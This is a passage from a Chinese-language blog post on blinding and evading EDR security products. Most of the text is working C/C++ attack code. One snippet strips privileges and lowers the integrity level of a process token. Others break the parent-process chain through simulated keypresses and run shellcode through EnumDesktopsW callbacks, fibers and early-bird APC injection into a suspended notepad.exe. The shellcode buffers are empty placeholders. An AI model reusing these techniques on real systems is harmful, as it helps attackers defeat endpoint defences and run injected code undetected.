LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
printf("[-] Failed to Adjust Token's Privileges\n");
return 0;
}
// Remove all privileges
SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
printf("[*] Removed All Privileges\n");
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;
TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(
ptoken,
TokenIntegrityLevel,
&tokenIntegrityLevel,
sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
{
printf("SetTokenInformation failed\n");
}
else {
printf("[*] Token Integrity set to Untrusted\n");
}
CloseHandle(ptoken);
CloseHandle(phandle);
}
EDR下远程线程安全
触发EDR远程线程扫描关键api:createprocess
、createremotethread
、void
(指针)、createthread
bypass思路
进程断链
#include <windows.h>
#include<iostream>
void SimulateKeyPress(WORD keyCode) {
INPUT inputs[2] = {};
ZeroMemory(inputs, sizeof(inputs));
inputs[0].type = INPUT_KEYBOARD;
inputs[0].ki.wVk = keyCode;
Sleep(500);
inputs[1].type = INPUT_KEYBOARD;
inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{
// 调用 ShellExecute 函数,执行一个命令
HINSTANCE hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
if ((int)hReturn < 32) {
printf("0");
return 0;
}
printf("% d", (int)hReturn);
HWND hExplorer = FindWindowA("CabinetWClass", NULL);
if (hExplorer) {
// 将资源管理器窗口设置为前台窗口
SetForegroundWindow(hExplorer);
}
else {
printf("Explorer window not found.\n");
}
SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
SimulateKeyPress(VK_RETURN);
return 0;
}
通过模拟键盘点击,完成进程断链,父进程为explore。
进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为。
回调执行
#include <windows.h>
#include<iostream>
//calc shellcode
unsigned char rawData[276] = {};
int main()
{
LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(addr, rawData, sizeof(rawData));
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
return 0;
}
纤程
纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。
#include <windows.h>
void like() {
//calc shellcode
unsigned char rawData[276] = { };
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(Alloc, rawData, sizeof(rawData));
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
SwitchToFiber(shellFiber);
}
int main() {
like();
}
内存属性修改
内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread
让EDR扫描内存时处于无权限状态即可
early bird+Mapping
early bird,APC注入的变种
Mapping:内存映射
- 创建一个挂起的进程(通常是windows的合法进程)
- 在挂起的进程内申请一块可读可写可执行的内存空间
- 往申请的空间内写入shellcode
- 将APC插入到该进程的主线程
- 恢复挂起进程的线程
#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")
void mymemcpy(void* dst, void* src, size_t size);
int main()
{
//calc shellcode
unsigned char rawData[276] = {};
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(STARTUPINFO);
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
mymemcpy(lpMapAddress, rawData, sizeof(rawData));
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProc);
CloseHandle(hMapping);
UnmapViewOfFile(lpMapAddress);
return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{
char* psrc, * pdst;
if (dst == NULL || src == NULL)
return;
if (dst <= src)
{
psrc = (char*)src;
pdst = (char*)dst;
while (size--)
*pdst++ = *psrc++;
}
else
{
psrc = (char*)src + size - 1;
pdst = (char*)dst + size - 1;
while (size--) {
*pdst-- = *psrc--;
}
}
}
文档信息
- 本文作者:Nattevak
- 本文链接:https://HLuKT.github.io/2024/04/09/EDR%E8%87%B4%E7%9B%B2%E6%8A%80%E6%9C%AF/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)